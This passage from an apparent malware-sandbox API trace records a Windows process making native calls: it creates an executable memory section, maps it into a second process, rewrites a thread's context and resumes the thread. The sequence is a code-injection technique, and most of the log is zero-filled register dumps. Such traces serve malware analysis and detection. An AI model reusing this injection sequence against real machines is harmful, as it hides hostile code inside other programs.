[187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0640.603] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x214) returned 0x0 [0640.603] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be574*=0x14fa00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5680000, SectionOffset=0x0, ViewSize=0x6be574*=0x150000) returned 0x0 [0640.610] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0x1e4, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0x14fa00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0x21d0000, SectionOffset=0x0, ViewSize=0x6be5b0*=0x150000) returned 0x0 [0640.627] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5680000) returned 0x0 [0640.654] NtClose (Handle=0x214) returned 0x0 [0640.654] NtSetContextThread (ThreadHandle=0x20c, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x55fa98, Ebx=0x327000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x55fa40, Eip=0x228d927, SegCs=0x23, EFlags=0x206, Esp=0x55fa28, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0640.654] NtResumeThread (in: ThreadHandle=0x20c, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0640.654] NtClose (Handle=0x1e4) returned 0x0 [0640.654] NtClose (Handle=0x20c) returned 0x0 [0640.655] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0xd9c, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x20c) returned 0x0 [0640.655] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0640.655] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0640.655] NtReadVirtualMemory (in: ProcessHandle=0x20c, BaseAddress=0x2f1000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0640.655] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0645.691] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0xd94) | out: ThreadHandle=0x6be92c*=0x1e4) returned 0x0 [0645.704] NtSuspendThread (in: ThreadHandle=0x1e4, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0645.716] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x20c, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x2290000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0645.721] NtGetContextThread (in: ThreadHandle=0x1e4, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x4ff948, Ebx=0x2f1000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x4ff8f0, Eip=0x7742295c, SegCs=0x23, EFlags=0x206, Esp=0x4ff8d8, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0645.723] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x214) returned 0x0 [0645.723] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, 